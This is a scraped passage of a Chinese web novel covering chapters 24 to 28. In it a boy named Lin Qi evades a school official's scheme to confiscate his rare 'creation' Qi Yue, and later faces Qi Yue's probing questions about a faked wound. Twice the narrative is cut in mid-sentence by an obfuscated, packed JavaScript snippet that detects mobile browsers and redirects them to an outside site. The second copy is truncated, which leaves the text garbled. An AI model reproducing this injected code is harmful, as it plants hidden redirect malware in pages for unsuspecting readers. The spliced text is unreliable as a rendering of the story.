祈越站在一旁,目光淡淡笼罩在他身上,神色颇有一些意味深长,像一只吃饱的猫,正盯着小老鼠在自己面前努力挖洞。 猫只要抬一抬爪,就能把小老鼠“吱”的一声按扁,却又实在懒得动弹。 林栖已经做了心理准备,但被人围观演戏还是有点尴尬。 沉默中,他蜷起脚趾,在鞋子里磨了磨他的老鼠爪子。 几分钟后,生活老师把他和祈越一起带到行政区二号楼的一间办公室,按之前说的去做造物登记。 进门之后,生活老师介绍道:“这位是教务处的小潘老师,具体问题他会跟你说的。” 百叶窗将阳光切成一片一片。 小潘老师坐在办公桌后,推了一下眼镜,面貌斯文,笑容和煦,“林栖是吧?过来坐,我先跟你简单说明一下情况。” 身后传来“咔哒”一声关门声响,像是盖上了一只盒子,空气顿时有些发闷。 林栖回头看了一眼,生活老师出去了,所以这个登记要花很长时间? 他走到桌前坐下,又回头看了一眼,祈越站在一进门的位置,身上没有动作,脸上没有表情,像根门柱子一样竖在那里。 如果可以的话,林栖也很想当个门柱。 桌面传来轻微响动,小潘老师笑得眉眼弯弯,“终于让我见到你了,之前就听几位老师说起过你,那天补考,你把几位考官都难住了,谁也没想到你会带着顶级造物过来。” 这段话里出现了四个“你”字,每说一次,林栖头顶就仿佛多出一盏聚光灯,明晃晃地照着他的一举一动。 他本能地往后撤了撤身,显得坐姿格外笔直。 小潘老师隔着镜片,朝祈越看了看,把一个蓝色文件夹推到林栖面前,又伸手替他翻开。 “也难怪你会引起轰动,顶级造物确实非常稀有,几乎每一件都被官方记录在册,就算是私人藏品,官方也会安排修复师进行定期维护,你这件造物近期找人维护过吗?” 林栖摇了摇头。 小潘老师在工作本上记了一笔,“没关系,刚入学的时候总是很忙的,确实兼顾不到,专业的事情还是要交给专业的人来处理,这些学校以后会安排的。” 专业的人?安排什么? 林栖眼睫微动,抬起视线看他。 小潘老师微笑着,态度亲昵温和,“你才刚满十二岁,对很多东西可能还不了解,确实,对考试本身来说,顶级造物只是一种入学手段,考试结束就没用了。” “——但实际上,每一件顶级造物都有百年以上历史,像这样的‘文物’,即使放在博物馆里,也要经过专业维护才能长久流传下去,更别说是学校这种环境,每天上课下课,人来人往,难保不会出现意外。” 林栖捏了捏手指,隐约有种不太好的预感。 果然,紧接着,这位好脾气的小潘老师就道:“如果不小心损坏了顶级造物,不管对个人、对院系、对学校,乃至对历史传承,都是一种难以挽回的损失——所以经过几番斟酌,校方决定,请你将这件造物暂时交给专业人士保管。” 小潘老师扶了一下眼镜,站起身来,隔着桌面微微倾身,姿态优美地做了一个请的动作,四指并拢指向文件夹—— “这是相关文件,你看一下,如果没有问题,就在最后一页签名。” 25. 第 25 章 林栖睫毛微垂,视线落在摊开的文件上,安静不动,不知在想什么。 小潘老师叫了一声,“林栖?怎么了,有什么问题吗?” 男孩儿缓缓抬起视线,抿起的嘴唇嗫嚅一动,轻轻吐出四个字:“暂时保管?” “对,只是暂时的。”小潘老师笑着打开抽屉,拿出一支瓷釉描金的钢笔,拔开笔帽,在一旁试了试墨水是否流畅,将它递给林栖,“就用这支写吧。” 钢笔直接递到面前,像一支细长的导-弹悬空停着。 林栖从膝盖上抬起手,轻轻捏着笔杆接过,盯着金色的笔尖看了片刻,又伸手过去,从小潘老师面前拿起笔帽,把钢笔盖好了放在文件夹上。 他整个人都像是网络延迟,每个动作都有种慢半拍的迟缓。 小潘老师在对面看着,张了张嘴,又闭上,手指在桌上无声一敲,脸上笑容更暖,语气也愈发柔和,像是一颗奶糖在太阳底下晒化了,散发出小孩子都喜欢的甜香。 “是不喜欢这支笔么?那我帮你换一支好不好?” 林栖轻轻摇头,一双黑漉漉的眼睛看着他问:“暂时是几天呢?我周末还要回家。” “哈~”小潘老师咳嗽似的笑了一声,“不是几天,期限要看具体情况,学校主要是为了安全考虑。等以后,你有了足够的专业知识,可以独立照管顶级造物之后,校方就会把它原样归还给你。” “只不过为了避免一些不必要的纠纷,在保管期间,造物会以转让形式进行交接,具体情况都写在协议里了,你可以先看一下。” 林栖垂下目光,长长的睫毛在眼底投下阴影,片刻,他指着文件夹道:“我看不懂。” 小潘老师立刻倾身向前,“嗯?哪里不懂?” 林栖的手指尖横向划过那些文字,温吞的语气透着一点不好意思,“都看不懂,我不识字……” 空气静了一瞬。 接着就听祈越在后面笑了一声。 林栖唇角微微一僵,很快速地眨了下眼。 小潘老师像是面膜在脸上敷干了,笑容有些开裂,“这样啊……确实你才刚入学,还没开始上基础课,也很正常,没关系,我可以念给你听。” 林栖低着头,两只手捏在一起,有些紧张地搓着手指,“这件事一定很重要吧?关系到个人、院系、学校、历史传承……” 他顿了顿,“这么重要的事……但我只是一个小朋友,而且不识字,是个……嗯……文盲,您就算念给我听,我也不懂。” 听到他自称小朋友和文盲,小潘老师眼皮微微一跳,后知后觉,自己好像小看了这个小东西。本打算随便糊弄一下让他把字签了,直接把顶级造物扣下,现在看来是不行了。 小潘老师唇边笑意向下拧了一下,又拧回去。 “这也是学校所担心的,你年纪太小,又刚入学,身边带着这样的造物,一来太过招摇,二来无法约束,如果真的因为造物闹出什么乱子,不止你自己要担责任,你的监护人也要跟着担责任。现在学校提出这个方案,其实也是为了保护你。 林栖抬头看他,微微歪着脑袋,眼睛弯起一点漂亮弧度,“学校真好~” 小潘老师嘴角向两边扯了扯,和煦的笑容像是被轮子碾过,稍显扁平,“其实现在已经有家长向我们投诉了,他们觉得让一个刚入学的新生带着这种造物很不安全。” 他语调依然温和,眼神却像在看疑犯,“林栖,我问你,你能百分之百保证不会出问题吗?只要你带着这件造物,不管以后出了什么状况,任何状况,都是你的责任。你觉得你能承担这个后果吗?如果能的话,你也可以只签一份责任保证书。” 林栖看着自己的手,反正他今天是什么字也不会签的。非要继续纠缠的话,他也可以假装连名字都不会写。 这时就听身后传来脚步声响。 祈越走到桌前,抬脚将一张凳子勾到林栖旁边,直接跟他并肩坐下。 林栖下意识用目光量了量,他的手肘和祈越的手肘之间距离只有十几公分。 按祈越那个生人勿近的脾气,他现在就算是一胳膊扎在仙人掌上了。 脑补一下还挺疼的。 林栖默默把胳膊往里收了收。 祈越双手交叉支在桌面,抬起一双深红色的眼睛,唇边挂着一点不冷不热的笑,“小潘老师是么?不知道你在教务处担任什么职务?” 小潘老师没想到自己还需要和一件造物对话,笑了一声调整语气,“我是学籍管理科的主任,有什么问题吗?” “嗯,好,潘主任。”祈越视线朝他身上一扫,“你的工牌和工作证呢?” 潘主任表情微微一僵,略显疲惫地揉了揉额头,“昨天为了这件事忙到半夜,才睡了三个小时,今天出门忘记带了。” 祈越有些遗憾地笑了一下,起身道:“既然这样,那你还是赶紧洗洗睡吧,我们就不打扰了。” 林栖慢半拍地跟着起身。 潘主任忙道:“等等,我们现在还没谈完。” “谈什么?”祈越反手把林栖往自己身后拽了一下,淡淡开口—— “校规第三百三十二条:行政人员在工作期间,须按规定佩戴工牌,并在以下场合主动出示工作证件: (一)代表校方对学生作出正式处罚决定时; (二)代表校方处理与学生或其家长之间的法律事务时; (三)代表校方与学生或其家长签订具有法律效力的合同或协议时。” 林栖在旁边听着他说,头顶缓缓浮起问号。 好官方,听起来不像假的。 但是怎么会这么真? 祈越什么时候看过校规? 祈越:“潘主任,你们教务处就不需要守校规吗?” 潘主任在心里暗骂,他们教务处还从来没被人从这种角度找过茬。 校规三百三十二?好一个三百三十二!有零有整! 先不说这条校规到底是不是这样写的,就算真是,这种鸡毛蒜皮的规定也没人遵守。 对面纯粹拿着鸡毛当令箭。 他当然可以拿出工牌和证件,让对方无话可说,但是凭什么呢? 这件事本来就是上面要做人情,选在今天这个时间点,也是想趁着大家都在关注怪物,先弄一个既成事实。 等林栖反应过来,八成是要找他们后账的,大概率还要应付观沄。想想也知道,骗林栖签协议只是最简单的一步,后面还有的扯皮。 他只是帮忙跑个腿,好处轮不到他,真要出了什么状况却有可能让他背锅。 “学校”两个字是虚的,但他本人可是实的,怎么可能把证件拿出来,给对方树个找后账的靶子? 潘主任在心中权衡利弊,笑着咬了咬牙,目光越过这个不好惹的造物看向林栖。 “你看,就像我说的,你能控制好这件造物吗?能约束得了它的言行举止吗?它刚说的这些话,是你授意让它说的吗?” 授意不了。 别说针对行政人员的校规了,林栖拿到的“学生手册”只有薄薄一本,而且还看不懂,他现在对校规的了解仅限于最基础的衣食住行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552921|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,在对方提出这个问题时,林栖其实有点想认下来,因为祈越这话确实是替他说的。 这位潘主任说,他要为造物行为负责,也不是没有道理。 但是…… “你在听我说话吗?”潘主任已经有些没耐心了。 林栖含混地“嗯……”了一声,一边敷衍,一边想着那个“但是”—— 祈越应该不太乐意被他“负责”。 “林栖,你现在是在质疑学校的决定吗?你能为自己的言行负责吗?”潘主任双手撑着桌面,一脸笑意咄咄逼人。 就在这时,房门忽然“砰”的一声开了,走廊里的凉风吹了一丝进来,莫名有种闹鬼般的阴森。 潘主任脸色一变,接着干笑一声:“许院长,您怎么来了?” 许慎行鬼魂似的站在门口,朝林栖招了招手,示意他和祈越站到自己身后,薄薄的眼皮一抬,“我还没死呢,要一个学生负什么责?” 潘主任依然笑着,“是这样的,许院长,学校认为,你的学生带着顶级造物存在安全隐患。 “安全隐患——”许慎行笑了,嗓音格外阴沉,“看来你想跟我聊聊昨晚那些怪物?来,说说看,在整个学城防护最严密的中心区,怪物是怎么进来的?这算不算安全隐患?现在该由谁来负责?” “许院长别生气啊,这是两码事,我也只是传达校方决议。” 许慎行扭头对林栖道,“以后如果这些狗屎再叫你来,理都别理,谁找你,你就让他直接找我,我习惯了,不怕屎臭,别把你们这些小孩儿熏着。” 林栖眨了眨眼。 “真是太臭了!”许慎行一手捂着鼻子,一手朝林栖摆摆,“赶紧走赶紧走——” 林栖向外走出几步,回头就见许慎行反手关了门,声音隔着门板传出,“学校扯着狗屁幌子倒卖造物不是第一次了,哟呵,这还有合同呢?” 倒卖? 林栖忽然想起那句“价钱不是问题”,紧接着又想,那祈越以前被人倒卖过吗? 他有没有像个物件一样,被一个陌生人买回来收藏、鉴赏,又在腻了之后挂上价签,转卖到另外一个陌生人的手上。 对祈越来说,他也是这样一个陌生人吧。 走出行政楼,临近正午的阳光当头浇下,在台阶上泼出一片明晃晃的暑气。 对面楼上玻璃反光,祈越略微偏头,刚好林栖也眯着眼睛躲了一下,两人对上视线,距离不到半米,林栖能看清阳光在红色瞳孔中晕染开的细节。 楼与楼之间忽然一阵风过,把林栖头发吹得向后掀起,他眯眼低头,晃了一下脑袋,再抬头时,祈越已经往前走了几步,跟他又拉开了一米距离。 林栖走在后面,真正想问的问题问不出口,但又很想说点什么,于是道:“你说的那条校规,是真的吗?” 祈越顿住脚步,反问:“我说是真的你就信吗?就算把校规原文拿给你看,你能看得懂吗?文盲。” 林栖:“……” 他忽然又不想说话了,在文盲之余,还打算做个哑巴。 片刻静默中,忽然听到远处传来一阵骚动,几个学生扎堆站在树下—— “我就知道,连学校都不安全,外面肯定更乱,果然就出事了!我听周老师说,死了好多……” “怎么了怎么了?” “哪里哪里?哪里出事儿?” “哪个城区?别吓我啊,我家在下城区……” 林栖站在阳光下,忽然觉得身上一阵发冷。 那外城区呢? 观沄还安全吗? 26. 第 26 章 关于外面的消息很乱很杂。 林栖想到了凌壑,去驯院找人没找到,回去却发现凌壑就在自己门口,旁边还围了一圈学生。 凌壑穿着黑底滚银边的驯院制服,一副好皮囊配上大长腿,站在孩子堆里十分惹眼。 “没有消息就是好消息。”凌壑对那些学生说,“院里已经跟你们家里联系过了,截止到目前为止,都没事,如果还不放心,就去找院长开条,自己回家看看。” 学生都是住在这一层的驯院新生,听凌壑说完,有人支支吾吾地问:“现在回去能安全吗?” “肯定没有留在学校安全。”凌壑说着,视线一抬,看见林栖来了,笑着眨了下眼,直接把学生晾在一边,朝他走了过来。 林栖见他一脸轻松,飘忽的心情忽然就安定了不少。 凌壑走到林栖面前,直接把那一堆零食朝他怀里一塞,“封校了,妈妈来不了,只能爸爸先来看你。” 在走廊里说话自带回音,他这句话更是仿佛一只巨大号的弹力球,一落地就蹦跶着到处乱撞,落到每一只等着听八卦的耳朵里。 空气静了一瞬,接着整条走廊上的所有人同时看向林栖,眼珠子瞪得一个比一个圆。 林栖几乎能看到嗡嗡的感叹号和问号在天上飞,走廊里是不能说话了,他开门进屋,直到关好房门,都觉得门缝里还卡着一堆问号。 凌壑直接道:“不用担心观沄,他这人吧,只要不是自己找死,就没什么伤得了他。” 林栖点了下头,又觉得这话听着有些不对。 凌壑继续道:“封校只是出门麻烦,也不是不能出,下午我到外面办事,晚上不回学校,刚好回家去看妈妈。明天差不多中午回来,到时候我在楼下等你,一起吃个午饭。” 林栖迟疑着,点了下头。 他不想和凌壑一起吃饭,但很想知道观沄的消息。 凌壑忽然伸手,在林栖头顶揉了一下,问:“怪物吓不吓人?” 林栖默默往旁边移开两步,拨弄着被揉乱的头发,“我没看清。” 凌壑指着他手上的绷带,“那这是?” “摔了一跤。”林栖熟练解释。 凌壑“哦”了一声,“来都来了,刚好帮你上个药吧,回头妈妈问起来,也好跟他有个交代,否则他怪我没把孩子养好,要跟我离婚可怎么办?” “我自己上过药了。”林栖试图拒绝。 “上药嘛,又不是吃饭,不用按顿来,多上几次好得快。”凌壑在屋里左右打量,“你药箱呢?” 林栖下意识扫了一眼抽屉又连忙收回视线,低头看脚。 凌壑眉梢微挑,“在抽屉里?那我直接拿了?” 林栖还没想好怎么抗议,旁边祈越视线就朝他扫了过来,对凌壑道:“婉拒你都听不出来?人家有洁癖,可不愿意让你上药。” 凌壑本来就是在逗林栖,闻言捂住心口,一脸老父亲很受伤的表情,“宝宝~这是真的吗?你连爸爸也嫌弃吗?” 林栖被他这声“宝宝”叫得头皮发麻,如果他是只刺猬,现在身上的刺肯定已经全部立起来了。 凌壑幽幽叹了一声,“看来是真的嫌弃,算了,老父亲也不招你烦,那就不上药了,我看一眼,回去好跟你妈交差。” 他知道林栖身上有保护咒,但不确定它对侵蚀是否有效。 两边僵持片刻,林栖还是拆开绷带给他看了。 凌壑看到伤口时,摸着下巴“哦”了一声,一个音节硬是凹出了在波浪线上打滚的效果。 画得真是不错。 如果不是提前知道,他也看不出来这是假的。 晚饭过后,学校在生活区的小广场上安排了一节常识安全课,讲解校内安防系统,以及面对突发状况时的紧急避险措施。 讲解老师特意提到,学校里的应急场馆很多,比如这次出事的校史馆本身就是一个,主体额外增加延性结构且经过咒师处理,即使遭遇严重损毁,也能维持基本功能。 简单来说,建筑内部嵌了一张大网,可以兜底,就算天花板被扎成筛子也不会掉下来砸死学生。 学生们在下面议论: “我天,那要是换个地方我就被砸死了?” “怪物真会挑地方。” “那我们公寓楼里有这个吗?” …… 课程结束已经快九点了。 林栖住的七楼实际等于八楼,爬到最后,他整个人都有点恍惚,仿佛脑子半路掉在楼梯上了。 进门时,他看到祈越像之前一样坐在桌边,习惯性地以为他在看书,回头关好房门,再看过去,才发现哪里不对。 祈越手里没拿书,面朝房门坐着,似乎是在等他回来。 林栖的身体惯性和想法有些不同步,只是看了对面一眼就收回视线,蹲下换好鞋子再站起来,才发现祈越还在看他。 怎么了? 一点疑问刚刚冒头,就听祈越开口:“坐吧,有点事想问你。” 林栖的第一反应就是:出什么事了? 祈越正常说话不是这种语气。 是又有怪物?还是学校来找麻烦? 房门和书桌的对角线上有张座椅,靠背朝向房门,和祈越隔着一米多的距离。 林栖走过去坐下,等着祈越开口,下意识想捏手指上的创可贴,可惜没有摸到。 祈越看着他,目光却没有落在实处,仿佛他是一张照片,而不是一个真人。 林栖等了漫长的两三秒钟,祈越终于开口:“那天在书塔,陷阱里,你看到了什么?” 林栖在心里做了许多预设,却完全没想到,话题会突然跳到书塔。 他问:“为什么要问这个?” 祈越回答:“因为当时没问。” 林栖:“……” 他想问的就是这个。 为什么当时没问现在要问?隔了那么长时间,是书塔又出了什么事吗? 祈越视线略微抬起一些,看向林栖双眼,目光依然平静,却像是无波的水面,看不出深浅。下面可能是一弯溪流,也可能是无底深渊。 祈越重复之前的问题:“陷阱里是什么?” 林栖恍然有种错觉,周围忽然静了下来,似乎整个房间沉在水底,与世隔绝,除了他和祈越之外没有别人。 在这种安静无打扰的环境下,他什么都不用考虑,只需要专心回答这个很简单的问题。 思绪回到补考那天中午,仿佛能闻到烈日炙烤下的青草香。 林栖目光向远处放空,语速比平时稍慢,“是一个房间。” “现在描述一下这个房间,你看到到了什么?”祈越的声音像是隔着一层水幕传来。 “一张床,很软,然后睡衣、枕头、抱枕……”林栖顺着记忆向前摸索,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岐岄缓缓阖上双眼,不再看他。 充斥在每一声心跳中的混乱念头逐渐褪去,世界重归黯淡沉寂。 许久,他听到林栖在椅子上动了动,发出一点极细微的衣料摩擦声响。 他重新睁开眼睛,看向自己此时的手。 一双很干净的人手,没有丝毫异化痕迹。 “第二个问题。”他平静道,“你从哪里学得古语?” 仿佛一只无形的沙漏终于漏完了所有的沙,林栖动了一下手指,逐渐清醒过来。 他有一种很莫名的违和感,直觉自己状态有点不对。 刚说过的话现在回想起来已经有些模糊,且那些话不像正常回答问题,而像在说梦话,完全不经思考。 他看向祈越。 祈越正垂眸看着自己右手,冷白修长的手指并拢前伸,片刻,左手轻轻捏住右手小指,令它与另外几指分开少许距离,露出指根处的署名。 这个动作有种很微妙的怪异感,仿佛这只手不是他自己的,他只是在摆弄一个物件。 林栖忽然找到了违和感的源头。 祈越有点不太对劲。 27. 第 27 章 寂静中响起了沉闷的敲门声。 一声,两声,到第三声时,忽然变得清脆生动。房间里那种无形的沉闷也随之消散。 林栖起身开门。 走廊里的空气随着开门的动作卷起一道旋涡,香甜的奶油味扑面而来。 乐贤穿着一身蓝白格子睡衣站在门口,手里捧着一盒8寸生日蛋糕,上面用巧克力酱写着“生日快乐!”,已经切了一角,剩下的形状像是一个大号的吃豆人,感叹号下面的圆点就是它的眼睛。 旁边还站着一个造院新生,名叫沐夏,像只站直了的水獭,戴黑框眼镜,不说话时有一点呆,一笑就露出两颗洁白锃亮的虎牙。 林栖在课上见过他,但不算认识。 乐贤率先开口:“林栖,晚上好,我们一起吃蛋糕。” 他像个发条娃娃,一圈发条只够说一句话,说完就把自己摆在那里一声不吭。 林栖有点懵,空气微妙地静了一瞬,沐夏立刻补上空缺,两颗小虎牙在走廊灯下闪了闪,“别怕别怕,不是来找你要生日礼物的,这个不是生日蛋糕。” 他道:“本来都吃饱了,结果安全讲座搞半天,又饿了,这是餐厅卖剩下的,半价,我们就买了,打算一人一块,这边这一块是你的。” 蛋糕表面已经提前画了分割线,每一块都让甜点师傅用巧克力酱做了标记,沐夏指的那块写着个“林”,旁边那块写了个“姜”。 林栖习惯性地想要婉拒,但看着那个歪扭扭的“林”字,又默默地没有出声。 这不是顺便拿过来的,而是特意带给他的。 “我们切一下啊。”沐夏朝屋里探了探头,顿时更像一只水獭,“用一下桌子,抱着不好切,万一砸地上就完蛋了。” 林栖来不及表达同意或者反对,两人已经护着蛋糕进了房间。 乐贤把蛋糕抱到书桌一角,从沐夏手里接过餐刀,瞪着一双浅棕色的大眼睛,认准那个“林”字,开始切蛋糕。 他下刀的动作异常小心,仿佛在给蛋糕做手术,生怕一不留神就把蛋糕当场切死。 沐夏在旁边端着盘子打下手,视线不停在蛋糕和书桌对面游移。 林栖发现,他在偷瞄祈越。沐夏好像也发现自己被发现了,但只是讨好地朝林栖笑笑,然后继续偷瞄。 蛋糕切好,沐夏把它装进盘里,推了一下眼镜,目光隔着镜片停在祈越身上,开始明目张胆地瞧。 片刻,他问:“你吃蛋糕吗?我们这边多了一块。” 林栖下意识在心里预判祈越会怎么回答,干巴巴的两个字:不吃。 然后他就听到祈越说:“谢谢,不用。” 比脑补中的客气,语气也和平时不太一样。 不是错觉,祈越果然有点不对。 “啊没事没事,不用客气。” 沐夏好像完成任务似的松了口气,笑着朝林栖露出两颗友好的小虎牙,“我住705,就是隔壁的隔壁,有空来找我玩儿啊。很少能碰到有人姓林,就……挺稀罕的。” 他说话时,眼睛亮闪闪的,仿佛这个“林”字是星星月亮,本身就会发光,而姓林也是一件很美好的事情。 林栖没见过这种反应,忍不住朝他多看了一眼。 沐夏笑得更灿烂了,“蛋糕趁热,哦不趁凉吃,等下奶油化了不好吃了。” 林栖接过蛋糕,点了下头。 “那……那就这样吧,你慢慢吃,我们继续去送温暖……不对,送凉爽了,哈,哈哈。”沐夏后退着往门口走,嘴巴又张了张,像是挖空心思还想说点什么,但又憋不出来。 到门口时,他忽然道:“记住,是705,隔壁的隔壁,有事你来找我,都是一个院的,不用客气。” 乐贤站在门口挥手,“林栖再见,明天见。” 他挥手的动作让林栖想到了音乐盒上的跳舞小人儿。 林栖怕他得不到回应会在门口一直挥下去,于是也朝他挥了挥手,“明天见。” 送走两人,关好房门,林栖又回到了之前的难题里,要面对一个不正常的祈越。 他目不斜视,不看祈越,也不管这人是不是在看自己,把凳子挪到桌角,一边吃蛋糕一边思考。 唔……奶油很香。 ……嗯,自己其实有很多破绽。 自从怪物出现,他就像是一颗漏气的气球,一直都在试图修补漏洞,但是补不完,根本就补不完,反而好像越补越多…… 第一个漏洞:伤口。 祈越是看着他被怪物抓伤的,但一转眼,抓伤就变成了摔伤。 校医检查过一次,凌壑也看过一次,不巧这两次祈越都在场,只要稍微瞟他一眼,就能发现问题。 第二个漏洞:创可贴。 昨天受伤之后,他特意摘了创可贴,本来是想预防一下更糟糕的情况,万一被人看见伤口愈合,有创可贴是“惯犯”,没有则是“初犯”。 不过后来没人看见他的伤口,这个动作就变成了多此一举。 他不知道祈越有没有注意到创可贴,如果注意了,很容易就能发现他一直在伪装受伤。 第三个漏洞:古语。 如果只是一个漏洞还能解释,现在一堆凑在一起,气球漏气漏得都快变成喷气机了,实在是堵不住。 林栖借着吃蛋糕的动作咬了一下嘴唇。 问他古语,其实可以狡辩,创可贴算是“死无对证”,但假伤口就在胳膊上,是真的“人证物证齐全”。 现在唯一的希望就是,祈越别问。 林栖觉得,嘴里的蛋糕都不香了。 他慢吞吞地拖着时间,咽下最后一口奶油,又捧着杯子喝了点水,在心里默念:别问我别问我……变成哑巴,别问别问别问…… 祈越就是这时开口的。 林栖低头看着水杯里的倒影,听见他问:“昨晚,怪物出现之前,有没有什么异常状况?” 林栖怔了一下抬头,看到对面玻璃窗上自己的表情明显有些茫然。 问题为什么会突然跳到这里? 祈越问完,不等林栖回答就起身去拿药箱,放在桌上打开,从格子里依次取出几件外伤工具。 林栖顿时警觉。 稍稍往后一撤,就撞上了椅背,坚实的触感反推回来,像是铁笼上的栏杆,把退路堵得严严实实。 祈越站在桌前,手里拿着一支银色镊子,试了一下开合,确定能用,又将它放在一旁,转头看向林栖。 林栖眼神有一瞬间的躲闪,继而垂下视线,拖延性地重复道:“怪物出现之前……” 他想,当时一切正常,屏幕在放院系介绍,乐贤一口气吃了五片薯片,番茄味很明显……等等,好像还有别的。 林栖从记忆里捕捉到了一丝细节,说:“教室里有一股味道。” “形容一下。”祈越又朝他看了一眼。 “有点像……油漆。”林栖不太确定,校史馆内部陈列很有历史感,看不出有哪里重新刷过。他回忆着补充,“……和青草。就是那种修草坪的味道。” 在刚进校史馆的时候,他其实想起了福利院,当时没在意,现在回想,应该就是因为味道。 福利院每年夏末会做一次例行翻修,割草刷油漆,混在一起就是这种味道。 “你觉得,那个怪物像什么?”祈越继续问。 这个问题容易回答,林栖道:“像树,森林,有很多藤蔓。” “藤蔓和触角一样,主要功能都是探查而不是攻击。”祈越像是在说给自己听,边说边戴上一次性的医用手套,拧开一瓶医用酒精。 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林栖注意到一个细节,他问的不是为什么没有伤口,而是为什么假装受伤。 假装受伤也可以理解为本来就没受伤。 假装也可能只是为了博取关注。 一丝侥幸像是扎破窗纸时透入的光,让林栖忍不住地开始思考,也许祈越根本就没看见他受伤呢?当时环境很乱,而且祈越过来的时候,他已经把胳膊捂住了。 片刻,第二团药棉也落到了垃圾桶里,祈越拿纸巾擦拭镊子尖端,将它放回药箱,然后摘下手套,对林栖道:“找时间再画一个吧,对你来说应该不难。” 林栖心里顿时气成一只河豚,虽然不能动,但还是用力朝祈越瞪了一眼,然后他就后知后觉,自己好像可以动了。 因为觉得自己不能动,他也就没有收着力道,这次瞪人瞪得格外凶狠,连带着眼眶都有点发酸。 意识到这一点之后,他立刻眨了下眼,收回视线。 祈越目光朝旁边一指,道:“去洗一下。” 林栖看了一眼洗漱间,立刻起身,进去之后一把关上房门。 混蛋祈越把他的“画作”擦得尸骨无存,皮肤上只残留了一点酒精,稍微冲一下水,那种微带烧灼的紧绷感就没了。 林栖在洗手池前站了五分钟,然后打开门,待在门缝里,远远看向祈越。 祈越目光平静,“想好怎么解释了吗?” 林栖面无表情,语气冷硬:“没有。” “是谁给你下的保护咒?” 林栖心头乱跳,但维持住了面无表情,硬邦邦道:“不知道。” “你的父母呢?” “不太熟。” 空气静了几秒。 “知道了。”祈越说着,朝这边走了过来。 林栖瞬间紧张,用力抓住了房门把手。 等祈越走得近了,林栖才发现他的目标不是自己。 “我去查一点事。”祈越开门时顿了顿,像在斟酌措辞,“不用等我回来。” 房门关上,脚步声在走廊响起的同时,林栖听到了一声闷咳。 他面对着只剩自己一个人的房间,忽然想起了那天造物店里的情形。祈越拿着一本乌漆嘛黑的书,坐在一楼,说话时的语气也像今天一样,而且一直都在咳嗽。 当时他在心里说他有病,但现在想想,其实那一天的祈越也很不对劲,和之前之后都不一样…… 忽然,林栖睁大眼睛,心里蹦出四个大字:多重人格。 随即,他缓缓眨了下眼,瞳中透出些许清澈的茫然。 ……造物也有多重人格? 28. 第 28 章 当晚,直到睡前,林栖也没听见祈越回来。 第二天醒时,他从床边探出半个身子往阁楼上看,使劲听了一会儿动静,也不确定祈越是不是在。 上午还是公共课。 林栖是卡着时间到的,进门之前,先找了一下沐夏和乐贤在哪儿,然后选了一个离他们很远的位子坐下。 前天晚上他拿了乐贤的零食,昨天又吃了他们送的蛋糕,如果今天还坐在一起,那他们很快就会混熟,从独居动物变成群居动物。 林栖暂时还不想和任何同学混熟。 有一个祈越在身边,他已经被看出了各种漏洞,再加上这些同学,他马上就会变成一只漏勺…… 林栖头上仿佛有个“探测雷达”,可以感知热闹程度,每到一个新地方,总能在第一时间找到最僻静的位置,即使在几百人的阶梯教室也不例外。 今天他选的位置其实并不空旷,前后左右都有人,但如果测量全场分贝,这区域绝对能算闹中取静,在满屋十几岁的孩子中间,安静到有些沧桑,连气温都好像冷了几度。 林栖坐在最左侧挨着护栏,右手边空了三个座位,接着是四个学生,每人手里捧着一本书,正在低头默念,从嘴唇开合的频率到翻书的速度都几乎一模一样,坐在那里好似复制粘贴。 他们都是咒院新生,手里拿的不是普通的书,而是“媒介”,对新生来说,是施咒的必备工具,又称“咒书”。 经过两天相处,学生之间初步认识,哪怕不知道名字也已经混了眼熟,公共课上不再像一开始那样随便乱坐,会优先和同院学生挨在一起。 右边这四个咒院学生就是这样,但和其他院系不同的是,他们每人之间都隔着一个空位,虽然坐在一起,但显然不打算和同学交流,都在忙着跟自己的咒书培养感情。 咒书封面是黑色的小牛皮。 据说,当一个咒院新生把他的咒书封皮盘到包浆,他就可以顺利通过学期考核,如果封皮出现细腻均匀有光泽的风化纹,那他差不多就可以毕业了。 新生咒书由院里统一提供,往年都是空白的,但现在情况特殊,咒院老师给每个学生书里都写了一页防护咒,用来应急。 学生不用搞懂咒术原理,也不用念得特别标准,基本上只要有嘴就行。 院里要求学生书不离身,吃饭睡觉就不说了,有些人甚至准备了防水套,洗澡也要带书一起。 带着这么一个明显的标签,咒院在所有新生里总是最好认的,其次就是驯院。 如果学生平地站成一堆,齐刷刷的一片小脑袋里忽然凸起几颗,明显比别人更高更壮,那这几颗脑袋必定属于驯院。 除了脑袋还有胳膊,驯院学生祖传爱卷袖子,冬天特别明显,雪地里漏胳膊的学生十个有九个都是驯院。 在林栖前面一排坐了三个咒院两个驯院,驯院是后来的,看见有位置就直接坐了,和咒院之间没留空位。 到了第一节课下课,两边突然就吵了起来,驯院新生开腔时,林栖正在思考“多重人格”,听到那一声带着胸腔共鸣的大笑,思绪忽然就断成了两截。 他不知道驯院新生在嘲笑咒院新生什么,只听到一个咒院新生反击:“你就笑吧,等我学了定身咒,让你站在厕所门口,三天不能动弹。” “哦,好可怕,可是我们现在就能把你揍得三天不能动弹。” 驯院学生说话时晃了一下胳膊,一颗拳头比咒院学生脑袋还大半圈。 咒院学生把嘴唇咬出一道白痕,只说了一句:“反正你等着瞧吧。”接着起身换了座位,从最右边挪到了最左边。 林栖默默收回视线,心里忽然有什么晃了一下,默念起刚听到的那个名词:定身咒。 听起来,这个咒可以让人不能动弹。 所以,昨天让他不能动的,也是定身咒吗? ……或者其他什么类似的咒。 林栖只在咒院考试里交过一张白卷,对咒术一窍不通,只是凭感觉猜测,类似这种控制别人身体的咒术或许还有很多。 